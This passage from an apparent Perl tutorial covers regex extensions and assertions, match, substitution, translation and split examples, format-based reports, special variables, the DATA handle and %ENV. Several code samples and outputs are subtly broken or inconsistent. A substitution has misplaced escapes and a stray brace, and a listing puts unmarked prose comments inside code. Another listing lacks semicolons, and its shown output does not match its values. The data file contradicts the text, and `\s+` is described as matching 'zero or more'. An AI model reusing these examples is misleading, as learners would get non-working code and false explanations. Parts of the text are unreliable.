    (?# and only two words in it. The matched words)
    (?# will be available in $1 and $2 if the match)
    (?# is successful.)

    ^       (?# Anchor this match to the beginning)
            (?# of the string)

    \s*     (?# skip over any whitespace characters)
            (?# use the * because there may be none)

    (\w+)   (?# Match the first word, we know it's)
            (?# the first word because of the anchor)
```

```
            (?# above. Place the matched word into)
            (?# pattern memory.)

    \W+     (?# Match at least one non-word)
            (?# character, there may be more than one)

    (\w+)   (?# Match another word, put into pattern)
            (?# memory also.)

    \s*     (?# skip over any whitespace characters)
            (?# use the * because there may be none)

    $       (?# Anchor this match to the end of the)
            (?# string. Because both ^ and $ anchors)
            (?# are present, the entire string will)
            (?# need to match the pattern. A)
            (?# sub-string that fits the pattern will)
            (?# not match.)
/x;
```

Of course, the commented pattern is much longer, but it takes the same amount of time to execute. In addition, it will be much easier to maintain the commented pattern because each component is explained. When you know what each component is doing in relation to the rest of the pattern, it becomes easy to modify its behavior when the need arises.

Extensions also let you change the order of evaluation without affecting pattern memory. For example, `ext3.pl`,

```
m/(?:a|b)+/;
```

will match either the a character repeated one or more times or the b character repeated one or more times. The pattern memory will not be affected.

At times, you might like to include a pattern component in your pattern without including it in the `$&` variable that holds the matched string. The technical term for this is a *zero-width positive look-ahead assertion*. You can use this to ensure that the string following the matched component is correct without affecting the matched value. For example, if you have some data that looks like this:

```
David    Veterinarian 56
Jackie  Orthopedist 34
Karen Veterinarian 28
```

and you want to find all veterinarians and store the value of the first column, you can use a look-ahead assertion. This will do both tasks in one step. For example (`ext4.pl`):

```
while (<>) {
    push(@array, $&) if m/^\w+(?=\s+Vet)/;
}

print("@array\n");
```

This program will display:

```
David Karen
```

Let's look at the pattern with comments added using the extended mode. In this case, it doesn't make sense to add comments directly to the pattern because the pattern is part of the `if` statement modifier. Adding comments in that location would make the comments hard to format. So let's use a different tactic (`ext5.pl`).

```
$pattern = '^\w+     (?# Match the first word in the string)
            (?=\s+   (?# Use a look-ahead assertion to match)
                     (?# one or more whitespace characters)

                Vet) (?# In addition to the whitespace, make)
                     (?# sure that the next column starts)
                     (?# with the character sequence "Vet")
           ';

while (<>) {
    push(@array, $&) if m/$pattern/x;
}

print("@array\n");
```

Here we used a variable to hold the pattern and then used variable interpolation in the pattern with the match operator. You might want to pick a more descriptive variable name than `$pattern`, however.

The last extension that we'll discuss is the *zero-width negative assertion*. This type of component is used to specify values that shouldn't follow the matched string. For example, using the same data as in the previous example, you can look for everyone who is not a veterinarian. Your first inclination might be to simply replace the `(?=...)` with the `(?!...)` in the previous example (`ext6.pl`).

```
while (<>) {
    push(@array, $&) if m/^\w+(?!\s+Vet)/;
}

print("@array\n");
```

Unfortunately, this program displays

```
Davi Jackie Kare
```

which is not what you need. The problem is that Perl is looking at the last character of the word to see if it matches the `Vet` character sequence. In order to correctly match the first word, you need to explicitly tell Perl that the first word ends at a word boundary, like this (`ext7.pl`):

```
while (<>) {
    push(@array, $&) if m/^\w+\b(?!\s+Vet)/;
}

print("@array\n");
```

This program displays

```
Jackie
```

which is correct.

Note There are many ways of matching any value. If the first method you try doesn't work, try breaking the value into smaller components and match each boundary. If all else fails, you can always ask for help on the `comp.lang.perl.misc` newsgroup.

---

 dave@cs.cf.ac.uk

Pattern Examples

In order to demonstrate many different patterns, I will depart from the standard example format in this section. Instead, I will explain a matching situation and then a possible resolution will immediately follow. After the resolution, I'll add some comments to explain how the match is done. In all of these examples, the string to search will be in the $_ variable.

---

dave@cs.cf.ac.uk

Some Practical Examples

- Using the Match Operator
- Using the Substitution Operator
- Example: Using the Translation Operator
- Example: Using the *Split()* Function

---

dave@cs.cf.ac.uk

Using the Match Operator

Here are some handy uses of the match operator:

- If you need to find repeated characters in a string like the AA in "ABC AA ABC", then do this:

  ```
  m/(.)\1/;
  ```

  This pattern uses pattern memory to store a single character. Then a back-reference (`\1`) is used to repeat the first character. The back-reference is used to reference the pattern memory while still inside the pattern. Anywhere else in the program, use the `$1` variable. After this statement, `$1` will hold the repeated character. This pattern will match two of any non-newline character.
- If you need to find the first word in a string, then do this:

  ```
  m/\^{}\s*(\w+)/;
  ```

  After this statement, `$1` will hold the first word in the string. Any whitespace at the beginning of the string will be skipped by the `\s*` meta-character sequence. Then the `\w+` meta-character sequence will match the next word. Note that the `*`-which matches zero or more-is used to match the whitespace because there may not be any. The `+`-which matches one or more-is used for the word.
- If you need to find the last word in a string, then do this:

  ```
  m/
      (\w+)       (?# Match a word, store its value into pattern memory)
      [.!?]?      (?# Some strings might hold a sentence. If so, this)
                  (?# component will match zero or one punctuation)
                  (?# characters)

      \s*         (?# Match trailing whitespace using the * because there)
                  (?# might not be any)
      $           (?# Anchor the match to the end of the string)
  /x;
  ```

  After this statement, `$1` will hold the last word in the string. You need to expand the character class, `[.!?]`, by adding more punctuation.
- If you need to know that there are only two words in a string, you can do this:

  ```
  m/^(\w+)\W+(\w+)$/x;
  ```

  After this statement, `$1` will hold the first word and `$2` will hold the second word, assuming that the pattern matches. The pattern starts with a caret and ends with a dollar sign, which means that the entire string must match the pattern. The `\w+` meta-character sequence matches one word. The `\W+` meta-character sequence matches the whitespace between words. You can test for additional words by adding one `\W+(\w+)` meta-character sequence for each additional word to match.
- If you need to know that there are only two words in a string while ignoring leading or trailing spaces, you can do this:

  ```
  m/^\s*(\w+)\W+(\w+)\s*$/;
  ```

  After this statement, `$1` will hold the first word and `$2` will hold the second word, assuming that the pattern

matches. The `\s*` meta-character sequence will match any leading or trailing whitespace.

- If you need to assign the first two words in a string to `$one` and `$two` and the rest of the string to `$rest`, you can do this:

```
$_ = "This is the way to San Jose.";
$word   = '\w+';    # match a whole word.
$space  = '\W+';    # match at least one character of whitespace
$string = '.*';     # match any number of anything except
                    # for the newline character.
($one, $two, $rest) = (m/^($word) $space ($word) $space ($string)/x);
```

  After this statement, `$1` will hold the first word, `$2` will hold the second word, and `$rest` will hold everything else in the `$_` variable. This example uses variable interpolation to, hopefully, make the match pattern easier to read. This technique also emphasizes which meta-sequence is used to match words and whitespace. It lets the reader focus on the whole of the pattern rather than the individual pattern components by adding a level of abstraction.

- If you need to see if `$_` contains a legal Perl variable name, you can do this:

```
$result = m/
            ^           (?# Anchor the pattern to the start of the string)
            [\$\@\%]    (?# Use a character class to match the first)
                        (?# character of a variable name)

            [a-z]       (?# Use a character class to ensure that the)
                        (?# character of the name is a letter)

            \w*         (?# Use a character class to ensure that the)
                        (?# rest of the variable name is either an)
                        (?# alphanumeric or an underscore character)

            $           (?# Anchor the pattern to the end of the)
                        (?# string. This means that for the pattern to)
                        (?# match, the variable name must be the only)
                        (?# value in $_.

           /ix;         # Use the /i option so that the search is
                        # case-insensitive and use the /x option to
                        # allow extensions.
```

  After this statement, `$result` will be true if `$_` contains a legal variable name and false if it does not.

- If you need to see if `$_` contains a legal integer literal, you can do this:

```
$result = m/
            (?# First check for just numbers in $_)

            ^         (?# Anchor to the start of the string)
            \d+       (?# Match one or more digits)
            $         (?# Anchor to the end of the string)
            |         (?# or)

           (?# Now check for hexadecimal numbers)

            ^         (?# Anchor to the start of the string)
            0x        (?# The "0x" sequence starts a hexadecimal number)
```

```
            [\da-f]+  (?# Match one or more hexadecimal characters)
            $         (?# Anchor to the end of the string)
          /i;
```

After this statement, `$result` will be true if `$_` contains an integer literal and false if it does not.

- If you need to match all legal integers in `$_`, you can do this:

```
@results = m/^\d+$|^0[x][\da-f]+$/gi;
```

After this statement, `@result` will contain a list of all integer literals in `$_`. `@result` will contain an empty list if no literals are found.

- If you need to match the end of the first word in a string, you can do this:

```
m/\w\W/;
```

After this statement is executed, `$&` will hold the last character of the first word and the next character that follows it. If you want only the last character, use pattern memory,

```
m/(\w)\W/};.
```

Then `$1` will be equal to the last character of the first word. If you use the global option,

```
@array = m/\w\W/g;,
```

then you can create an array that holds the last character of each word in the string.

- If you need to match the start of the second word in a string, you can do this:

```
m/\W\w/;
```

After this statement, `$&` will hold the first character of the second word and the whitespace character that immediately precedes it. While this pattern is the opposite of the pattern that matches the end of words, it will not match the beginning of the first word! This is because of the `\W` meta-character. Simply adding a `*` meta-character to the pattern after the `\W` does not help, because then it would match on zero non-word characters and therefore match every word character in the string.

- If you need to match the file name in a file specification, you can do this:

```
$_ = '/user/Jackie/temp/names.dat';
m!^.*/(.*)!;
```

After this match statement, `$1` will equal `names.dat`. The match is anchored to the beginning of the string, and the `.*` component matches everything up to the last slash because regular expressions are greedy. Then the next `(.*)` matches the file name and stores it into pattern memory. You can store the file path into pattern memory by placing parentheses around the first `.*` component.

- If you need to match two prefixes and one root word, like `"rockfish"` and `"monkfish,"` you can do this:

```
m/(?:rock|monk)fish/x;
```

The alternative meta-character is used to say that either `rock` or `monk` followed by `fish` needs to be found. If you need to know which alternative was found, then use regular parentheses in the pattern. After the match, `$1` will be equal to either `rock` or `monk`.

- If you want to search a file for a string and print some of the surrounding lines, you can do this:

```
# read the whole file into memory.
open(FILE, "<fndstr.dat");
```

```
@array = <FILE>;
close(FILE);

# specify which string to find.
$stringToFind = "A";


# iterate over the array looking for the
# string.
for ($index = 0; $index <= $#array; $index++) {
    last if $array[$index] =~ /$stringToFind/;
}

# Use $index to print two lines before
# and two lines after the line that contains
# the match.
foreach (@array[$index-2..$index+2]) {
    print("$index: $_");
    $index++;
}
```

There are many ways to perform this type of search, and this is just one of them. This technique is only good for relatively small files because the entire file is read into memory at once. In addition, the program assumes that the input file always contains the string that you are looking for.

---

dave@cs.cf.ac.uk

Using the Substitution Operator

Here are some handy uses of the match operator:

- If you need to remove white space from the beginning of a string, you can do this:

  ```
  s/\^{}\s+//;
  ```

  This pattern uses the `\s` predefined character class to match any whitespace character. The plus sign means to match zero or more white space characters, and the caret means match only at the beginning of the string.
- If you need to remove whitespace from the end of a string, you can do this:

  ```
  s/\s+$//;
  ```

  This pattern uses the `\s` predefined character class to match any whitespace character. The plus sign means to match zero or more white space characters, and the dollar sign means match only at the end of the string.
- If you need to add a prefix to a string, you can do this:

  ```
  $prefix = "A";
  s/^(.*)/$prefix$1/;
  ```

  When the substitution is done, the value in the `$prefix` variable will be added to the beginning of the `$_` variable. This is done by using variable interpolation and pattern memory. Of course, you also might consider using the string concatenation operator; for instance, `$_ = "A" . $_;`, which is probably faster.
- If you need to add a suffix to a string, you can do this:

  ```
  $suffix = "Z";
  s/^(.*)/$1$suffix/;
  ```

  When the substitution is done, the value in the `$suffix` variable will be added to the end of the $_ variable. This is done by using variable interpolation and pattern memory. Of course, you also might consider using the string concatenation operator; for instance, `$_ .= "Z";`, which is probably faster.
- If you need to reverse the first two words in a string, you can do this:

  ```
  s/^\s*(\w+)\W+(\w+)/$2 $1/;
  ```

  This substitution statement uses the pattern memory variables `$1` and `$2` to reverse the first two words in a string. You can use a similar technique to manipulate columns of information,

the last two words, or even to change the order of more than two matches.

- If you need to duplicate each character in a string, you can do this:

```
s/\w/$& x 2/eg;}
```

When the substitution is done, each character in $_ will be repeated. If the original string was "123abc", the new string would be "112233aabbcc". The e option is used to force evaluation of the replacement string. The $& special variable is used in the replacement pattern to reference the matched string, which then is repeated by the string repetition operator.

- If you need to capitalize all the words in a sentence, you can do this:

```
s/\(w+)/\u$1/g;}
```

When the substitution is done, each character in $_ will have its first letter capitalized. The /g option means that each word-the \w+ meta-sequence-will be matched and placed in $1. Then it will be replaced by \u$1. The \u will capitalize whatever follows it; in this case, it's the matched word.

- If you need to insert a string between two repeated characters, you can do this:

```
$_      = "!!!!";
$char   = "!";
$insert = "AAA";

s{
    ($char)             # look for the specified character.
    (?=$char)           # look for it again, but don't include
                        # it in the matched string, so the next
}                       # search also will find it.
{
    $char . $insert     # concatenate the specified character
                        # with the string to insert.
}xeg;                   # use extended mode, evaluate the
                        # replacement pattern, and match all
                        # possible strings.
print("$_\n");
```

This example uses the extended mode to add comments directly inside the regular expression. This makes it easy to relate the comment directly to a specific pattern element. The match pattern does not directly reflect the originally stated goal of inserting a string between two repeated characters. Instead, the example was quietly restated. The new goal is to substitute all instances of $char with $char. $insert, if $char is followed by $char. As you can see, the end result is the same. Remember that sometimes you need to think outside the box.

- If you need to do a second level of variable interpolation in the replacement pattern, you can do this:

```
s/(\\$\w+)/\$1/eeg;
```

This is a simple example of secondary variable interpolation. If `$firstVar ="AAA"` and `$_ = '$firstVar'`, then `$_` would be equal to `"AAA"` after the substitution was made. The key is that the replacement pattern is evaluated twice. This technique is very powerful. It can be used to develop error messages used with variable interpolation.

```
$errMsg = "File too large";
$fileName = "DATA.OUT";
$_ = 'Error: $errMsg for the file named $fileName';
s/(\$\w+)/$1/eeg;
print;
```

When this program is run, it will display

```
Error: File too large for the file named DATA.OUT
```

The values of the `$errMsg` and `$fileName` variables were interpolated into the replacement pattern as needed.

---

 dave@cs.cf.ac.uk

Example: Using the Translation Operator

SOme example uses of the Translation Operator are:

- If you need to count the number of times a given letter appears in a string, you can do this:

  ```
  $cnt = tr/Aa//;
  ```

  After this statement executes, `$cnt` will hold the number of times the letter a appears in `$_`. The `tr` operator does not have an option to ignore the case of the string, so both upper- and lowercase need to be specified.
- If you need to turn the high bit off for every character in `$_`, you can do this:

  ```
  tr [\200-\377] [\000-\177];
  ```

  This statement uses the square brackets to delimit the character lists. Notice that spaces can be used between the pairs of brackets to enhance readability of the lists. The octal values are used to specify the character ranges. The translation operator is more efficient-in this instance-than using logical operators and a loop statement. This is because the translation can be done by creating a simple lookup table.

---

dave@cs.cf.ac.uk

Example: Using the *Split()* Function

The `split()` function also has some practical uses)in conjunction with the oprators mentioned above) which we mention here:

- If you need to split a string into words, you can do this:

  ```
  s/^\s+//;
  @array = split;
  ```

  After this statement executes, `@array` will be an array of words. Before splitting the string, you need to remove any beginning white space. If this is not done, split will create an array element with the white space as the first element in the array, and this is probably not what you want.
- If you need to split a string contained in `$line` instead of `$_` into words, you can do this:

  ```
  $line =~ s/^\s+//;
  @array = split(/\W/, $line);
  ```

  After this statement executes, `@array` will be an array of words.
- If you need to split a string into characters, you can do this:

  ```
  @array = split(//);
  ```

  After this statement executes, `@array` will be an array of characters. `split` recognizes the empty pattern as a request to make every character into a separate array element.
- If you need to split a string into fields based on a delimiter sequence of characters, you can do this:

  ```
  @array = split(/:/);
  ```

  `@array` will be an array of strings consisting of the values between the delimiters. If there are repeated delimiters-`::` in this example-then an empty array element will be created. Use `/:+/` as the delimiter to match in order to eliminate the empty array elements.

Lots of other good example may be found in the excellent Perl Cookbook, by T. Christianson and N. Torkington, O'Reilly, 1998.

---

dave@cs.cf.ac.uk

Reports

Perl has a few special features that let you create simple reports. The reports can have a header area where you can place a title, page number, and other information that stays the same from one page to the next. Perl will track how many lines have been used in the report and automatically generate new pages as needed.

Compared to learning about regular expressions, learning how to create reports will be a breeze. There are only a few tricky parts

Let's start out by using the `print()` function to display a CD collection and then gradually moves from displaying the data to a fully formatted report.

The data file shown below is used for all of the examples in this chapter. The format is pretty simple:

- the CD album's title,
- the artist's name, and
- the album's price.
- each line ia file contains the three fields separted by a !. Any charatcer could actually be used.

The file is as follows:

```
Love Supreme!
A Kind of Blue!Miles Davis!9.99
Koln Concert!Keith Jarrett!15.99
Birds of Fire!Mahavishnu Orchestra!10.99
```

You'll find that Perl is very handy for small text-based data files like this. You can create them in any editor and use any field delimiter you like.

Now that we have some data, let's look at a program (`report1.pl`) that reads the data file and displays the information:

```
open(FILE, "<format.dat");
@lines = <FILE>;
close(FILE);

foreach (@lines) {
    chop;
    ($album, $artist, $price) = (split(/!/));
    print("Album=$album   Artist=$artist   Price=$price\n");
}
```

This program displays:

```
Use of uninitialized value at report1.pl line 8.
Album = Love Supreme Artist = Price =
Album = A Kind of Blue Artist =  Miles Davis Price = 9.99
Album = Koln Concert Artist = Keith Jarrett Price = 15.99
Album = Birds of Fire Artist = Mahavishnu Orchestra Price = 10.99
```

Why is an error being displayed on the first line of the output? If you said that the split() function was returning the undefined value when there was no matching field in the input file, you were correct. The first input line was the following:

```
A Love Supreme!
```

There are no entries for the `Artist` or `Price` fields. Therefore, the `$artist` and `$price` variables were assigned the undefined value, which resulted in Perl complaining about uninitialized values. You can avoid this problem by assigning the empty string to any variable that has the undefined value. To do this `report2.pl`:

```
open(FILE, "<format.dat");

@lines = <FILE>;

close(FILE);



foreach (@lines) {

    chop;

    ($album, $artist, $price) = (split(/!/));

    $album  = "" if !defined($album);  These lines assign null

    $artist = "" if !defined($artist); strings if no info is

    $price  = "" if !defined($price);  present in the record.

    print("Album=$album   Artist=$artist   Price=$price\n");

}
```

The first four lines this program displays are the following:

```
Album=A Love Supreme   Artist=                       Price=
Album=A Kind of Blue   Artist=Miles Davis            Price=9.99
Album=Koln Concert     Artist=Keith Jarrett          Price=15.99
Album=Birds of Fire    Artist=Mahvishnu Orchestra    Price=10.99
```

The error has been eliminated, but it is still very hard to read the output because the columns are not

aligned. The rest of this chapter is devoted to turning this jumbled output into a report.

Perl reports have *heading* and have *detail lines*. A heading is used to identify the report title, the page number, the date, and any other information that needs to appear at the top of each page. Detail lines are used to show information about each record in the report. In the data file being used for the examples in this chapter , each CD has its own detail line.

Headings and detail lines are defined by using format statements, which are discussed in the next section.

- Format Statements
- Field Lines
- Report Headings

---

dave@cs.cf.ac.uk

Format Statements

Perl uses *formats* as guidelines when writing report information. A format is used to tell Perl what static text is needed and where variable information should be placed. Formats are defined by using the `format` statement. The syntax for the `format` statement is format

```
format FORMATNAME =

    FIELD_LINE

    VALUE_LINE
```

The `FORMATNAME` is usually the same name as the file handle that is used to accept the report output.

If you don't specify a `FORMATNAME`, Perl uses `STDOUT`. The `FIELD_LINE` part of the format statement consists of text and field holders. A *field holder* represents a given line width that Perl will fill with the value of a variable. The `VALUE_LINE` line consists of a comma-delimited list of expressions used to fill the field holders in `FIELD_LINE`.

Report headings, which appear at the top of each page, have the following format: format

```
FORMATNAME_TOP =
    FIELD_LINE
    VALUE_LINE
```

Yes, the only difference between a detail line and a heading is that `_TOP` is appended to the `FORMATNAME`.

NoteThe location of `format` statements is unimportant because they define only a format and never are executed. I feel that they should appear either at the beginning of a program or the end of a program, rarely in the middle. Placing `format` statements in the middle of your program might make them hard to find when they need to be changed. Of course, you should be consistent where you place them.

A typical `format` statement might look like this:

```
format =

    The total amount is $@###.##

                            $total
```

The at character @ is used to start a field holder. In this example, the field holder is seven characters long (the at sign and decimal point count, as well as the pound signs #). The next section, "Example:

Using Field Lines," goes into more detail about field lines and field holders.

`Format` statements are used only when invoked by the write() function. The write() function takes only one parameter: a file handle to send output to. Like many things in Perl, if no parameter is specified, a default is provided. In this case, STDOUT will be used when no FORMATNAME is specified. In order to use the preceding format, you simply assign a value to $total and then call the write() function. For example (`total.pl`):

```
$total = 243.45

write();

$total = 50.00

write();
```

These lines will display:

```
    The total amount is $  243.45

    The total amount is $   50.50
```

The output will be sent to STDOUT. Notice that the decimal points are automatically lined up when the lines are displayed.

---

 dave@cs.cf.ac.uk

Field Lines

The field lines of a `format` statement control what is displayed and how. The simplest field line contains only static text. You can use *static* or unchanging text as labels for variable information, dollar signs in front of amounts, a separator character such as a comma between first and last name, or whatever else is needed. However, you'll rarely use just static text in your format statement. Most likely, you'll use a mix of static text and field holders.

You saw a field holder in action in the last section in which I demonstrated sending the report to STDOUT. I'll repeat the format statement here so you can look at it in more detail:

```
format =

    The total amount is $@###.##

                            $total
```

The character sequence `The total amount is $` is static text. It will not change no matter how many times the report is printed. The character sequence @###.##, however, is a field holder. It reserves seven spaces in the line for a number to be inserted. The third line is the value line; it tells Perl which variable to use with the field holder.

The following format characters can be uses in field lines.

- @ -- This character represents the start of a field holder.
- < -- This character indicates that the field should be left-justified.
- > -- This character indicates that the field should be right-justified.

  | -- This character indicates that the field should be centered.

  # -- This character indicates that the field will be numeric. If used as the first character in the line, it indicates that the entire line is a comment.
- . -- This character indicates that a decimal point should be used with numeric fields.
- ^ -- This character also represents the start of a field holder. Moreover, it tells Perl to turn on word-wrap mode.
- ~ -- This character indicates that the line should not be written if it is blank.
- ~~-- This sequence indicates that lines should be written as needed until the value of a variable is completely written to the output file.
- @* -- This sequence indicates that a multi-line field will be used.

Let's start using some of these formatting characters by formatting a report to display information about the `FORMAT.DAT` file we used earlier.

We will display the information in nice, neat columns. as follows:

- Declare a format for the STDOUT file handle.
- Open the `FORMAT.DAT` file, read all the lines into `@lines`, and then close the file.
- Iterate over the `@lines` array.
- Remove the linefeed character.
- Split the string into three fields.
- If any of the three fields is not present in the line, provide a default value of an empty string.
- Notice that a numeric value must be given to `$price` instead of the empty string.
- Invoke the `format` statement by using the `write()` function.

The Perl code (`report3.pl`) is as follows:

```
format =

  Album=@<<<<<<<<<<<<<  Artist=@>>>>>>>>>>>>>  Price=$@##.##

        $album,                 $artist,              $price

.



open(FILE, "<format.dat");

@lines = <FILE>;

close(FILE);



foreach (@lines) {

    chop;

    ($album, $artist, $price) = (split(/!/));

    $album  = "" if !defined($album);

    $artist = "" if !defined($artist);

    $price  = 0 if !defined($price);

    write();

}
```

This program displays the following:

```
Album=A Love Supreme  Artist=                      Price=$  0.00
Album=A Kind of Blue  Artist=   Miles Davis        Price=$9.99
Album=Koln Concert    Artist=    Keith Jarrett     Price=$  15.99
Album=Birds of Fire   Artist= Mahvishnu Orchestra  Price=$ 10.99
```

You can see that the columns are now neatly aligned. This was done with the format statement and the write() function. The format statement used in this example used three field holders. The first field holder,

```
@<<<<<<<<<<<<<,
```

created a left-justified spot for a 14-character-wide field filled by the value in $album.

The second field holder,

```
@>>>>>>>>>>>>,
```

created a right-justified spot for a 12-character-wide field filled by the value in $artist.

The last field holder,

```
@##.##,
```

created a six-character-wide field filled by the numeric value in $price.

You might think it's wasteful to have the field labels repeated on each line, and I would agree with that. Instead of placing field labels on the line, you can put them in the report heading. The next section discusses how to do this.

Report Headings

`Format` statements for a report heading use the same format as the detail line `format` statement, except that `_TOP` is appended to the file handle. In the case of `STDOUT`, you must specify `STDOUT_TOP`. Simply using `_TOP` will not work.

To add a heading to the report about the CD collection, you might use the following `format` statement (`report4.pl`):

```
format STDOUT_TOP =

  @|||||||||||||||||||||||||||||||||||||  Pg @<

  "CD Collection of David Marshall",
$%



  Album                Artist             Price

  -----------------    ----------------   -------

.
```

Adding this format statement to last code listing produces this output:

```
      CD Collection of David Marshall       Pg 1
  Album                Artist                Price
  -----------------    ----------------    -------
  A Love Supreme                            $ 0.00
  A Kind of Blue       Miles Davis          $ 9.99
  Koln Concert         Keith Jarrett        $ 15.99
  Birds of Fire        Mahvishnu Orchestra  $ 10.99
```

Whenever a new page is generated, the heading format is automatically invoked. Normally, a page is 60 lines long. However, you can change this by setting the $= special variable.

Another special variable, $%, holds the current page number. It will be initialized to zero when your program starts. Then, just before invoking the heading format, it is incremented so its value is one. You can change $% if you need to change the page number for some reason.

Special Variables

Perl uses quite a few special variables to control various behaviors of functions. You can use special variables to hold the results of searches, the values of environment variables, and flags to control debugging. In short, every aspect of Perl programming uses special variables.

- What Are the Special Variables?
- Example: Using the `DATA` File Handle
- Example: Using the *%ENV* Variable

---

dave@cs.cf.ac.uk

What Are the Special Variables?

In this section we simply list of the special variables you can use in your programs. The list is identical to the list in the file `PERLVAR.htm`, which should come with your Perl distribution.

`$_`

-- The default parameter for a lot of functions.

`$.`

-- Holds the current record or line number of the file handle that was last read. It is read-only and will be reset to 0 when the file handle is closed.

`$/`

-- Holds the input record separator. The record separator is usually the newline character. However, if `$/` is set to an empty string, two or more newlines in the input file will be treated as one.

`$,`

-- The output separator for the `print()` function. Nor-mally, this variable is an empty string. However, setting `$,` to a newline might be useful if you need to print each element in the parameter list on a separate line.

`$\`

-- Added as an invisible last element to the parameters passed to the `print()` function. Normally, an empty string, but if you want to add a newline or some other suffix to everything that is printed, you can assign the suffix to `$`.

`$#`

-- The default format for printed numbers. Normally, it's set to `%.20g`, but you can use the format specifiers covered in the section "Example: Printing Revisited" in Chapter 9to specify your own default format.

`$%`

-- Holds the current page number for the default file handle. If you use `select()` to change the default file handle, `$%` will change to reflect the page number of the newly selected file handle.

`$=`

-- Holds the current page length for the default file handle. Changing the default file handle will change `$=` to reflect the page length of the new file handle.

`$-`

-- Holds the number of lines left to print for the default file handle. Changing the default file handle will change `$-` to reflect the number of lines left to print for the new file handle.

`$~`

-- Holds the name of the default line format for the default file handle. Normally, it is equal to

the file handle's name.

$^

-- Holds the name of the default heading format for the default file handle. Normally, it is equal to the file handle's name with `_TOP` appended to it.

$|

-- If nonzero, will flush the output buffer after every `write()` or `print()` function. Normally, it is set to 0.

$$

-- This UNIX-based variable holds the process number of the process running the Perl interpreter.

$?

-- Holds the status of the last pipe close, back-quote string, or `system()` function.

$&

-- Holds the string that was matched by the last successful pattern match.

$`

-- Holds the string that preceded whatever was matched by the last successful pattern match.

$'

-- Holds the string that followed whatever was matched by the last successful pattern match.

$+

-- Holds the string matched by the last bracket in the last successful pattern match. For example, the statement `/Fieldname: (.*)|Fldname: (.*)/ && ($fName = $+);` will find the name of a field even if you don't know which of the two possible spellings will be used.

$*

-- Changes the interpretation of the `^` and `$` pattern anchors. Setting `$*` to 1 is the same as using the `/m` option with the regular expression matching and substitution operators. Normally, `$*` is equal to 0.

$0

-- Holds the name of the file containing the Perl script being executed.

$<number>

-- This group of variables (`$1`, `$2`, `$3`, and so on) holds the regular expression pattern memory. Each set of parentheses in a pattern stores the string that match the components surrounded by the parentheses into one of the `$<number>` variables.

$[

-- Holds the base array index. Normally, it's set to 0. Most Perl authors recommend against changing it without a very good reason.

$]

-- Holds a string that identifies which version of Perl you are using. When used in a numeric context, it will be equal to the version number plus the patch level divided by 1000.

$"

-- This is the separator used between list elements when an array variable is interpolated into a double-quoted string. Normally, its value is a space character.

$;

-- Holds the subscript separator for multidimensional array emulation. Its use is beyond the scope of this book.

$!

-- When used in a numeric context, holds the current value of `errno`. If used in a string context, will hold the error string associated with `errno`.

$@

-- Holds the syntax error message, if any, from the last `eval()` function call.

$<

-- This UNIX-based variable holds the read `uid` of the current process.

$>

-- This UNIX-based variable holds the effective `uid` of the current process.

$)

-- This UNIX-based variable holds the read `gid` of the current process. If the process belongs to multiple groups, then `$)` will hold a string consisting of the group names separated by spaces.

$:

-- Holds a string that consists of the characters that can be used to end a word when word-wrapping is performed by the `^` report formatting character. Normally, the string consists of the space, newline, and dash characters.

$^D

-- Holds the current value of the debugging flags. For more information.

$^F

-- Holds the value of the maximum system file description. Normally, it's set to 2. The use of this variable is beyond the scope of this book.

$^I

-- Holds the file extension used to create a backup file for the in-place editing specified by the `-i` command line option. For example, it could be equal to ".bak."

$^L

-- Holds the string used to eject a page for report printing.

$^P

-- This variable is an internal flag that the debugger clears so it will not debug itself.

$^T

-- Holds the time, in seconds, at which the script begins running.

$^W

-- Holds the current value of the `-w` command line option.

$^X

-- Holds the full pathname of the Perl interpreter being used to run the current script.

$ARGV

-- Holds the name of the current file being read when using the diamond operator `(<>)`.

@ARGV

-- This array variable holds a list of the command line arguments. You can use `$#ARGV` to determine the number of arguments minus one.

@F

-- This array variable holds the list returned from autosplit mode. Autosplit mode is associated with the `-a` command line option.

@Inc

-- This array variable holds a list of directories where Perl can look for scripts to execute. The list is mainly used by the `require` statement.

%Inc

-- This hash variable has entries for each filename included by `do` or `require` statements. The key of the hash entries are the filenames, and the values are the paths where the files were found.

%ENV

-- This hash variable contains entries for your current environment variables. Changing or adding an entry affects only the current process or a child process, never the parent process. See the section "Example: Using the `%ENV` Variable" later in this chapter.

%SIG

-- This hash variable contains entries for signal handlers. For more information about signal handlers

_

-- This file handle (the underscore) can be used when testing files. If used, the information about the last file tested will be used to evaluate the new test.

DATA

-- This file handle refers to any data following `__END__`.

STDERR

-- This file handle is used to send output to the standard error file. Normally, this is connected to the display, but it can be redirected if needed.

STDIN

-- This file handle is used to read input from the standard input file. Normally, this is connected to the keyboard, but it can be changed.

STDOUT

-- This file handle is used to send output to the standard output file. Normally, this is the display, but it can be changed.

---

dave@cs.cf.ac.uk

Example: Using the DATA File Handle

As you no doubt realize by now, Perl has some really odd features, and the DATA file handle is one of them. This file handle lets you store read-only data in the same file as your Perl script, which might come in handy if you need to send both code and data to someone via e-mail.

When using the DATA file handle, you don't need to open or close the file handle-just start reading from the file handle using the diamond operator. The following simple example shows you how to use the DATA file handle. The mothod is simple enough:

- Read all the lines that follow the line containing *__END__*.
- Loop through the *@lines* array, printing each element.
- Everything above the *__END__* line is code: everything below is data.

The Perl to do this is (data.pl):

```
@lines = <DATA>;



foreach (@lines) {

    print("$_");



}



__END__

Line one

Line two

Line three
```

This program displays the following:

```
Line one

Line two
```

```
Line three
```

---

dave@cs.cf.ac.uk

Example: Using the *%ENV* Variable

Environment variables are used by the operating system to store bits of information that are needed to run the computer. They are called environment variables because you rarely need to use them and because they simply remain in the background-just another part of the overall computing environment of your system. When your Perl process is started, it is given a copy of the environment variables to use as needed.

You can change the environment variables, but the changes will not persist after the process running Perl is ended. The changes will, however, affect the current process and any child processes that are started.

You can print out the environment variables by using these lines of code (`env.pl`):

```
foreach $key (keys(%ENV)) {

    printf("%-10.10s: $ENV{$key}\n", $key);

}
```

On a Windows 95 machine, this program displays the following:

```
WINBOOTDIR: C:\WINDOWS

TMP       : C:\WINDOWS\TEMP

PROMPT    : $p$g

CLASSPATH : .\;e:\jdk\classes;

TEMP      : C:\WINDOWS\TEMP

COMSPEC   : C:\WINDOWS\COMMAND.COM

CMDLINE   : perl -w 12lst01.pl

BLASTER   : A220 I10 D3 H7 P330 T6

WINDIR    : C:\WINDOWS

PATH      : C:\WINDOWS;C:\WINDOWS\COMMAND;C:\PERL5\BIN;

TZ        : GMT-05:00
```

Only a few of these variables are interesting. The `TMP` and `TEMP` variables let you know where temporary files should be placed. The `PATH` variable lets the system know where to look for executable programs. It will search each directory in the list until the needed file is found. The `TZ` variable lets you know which time zone the computer is running in.

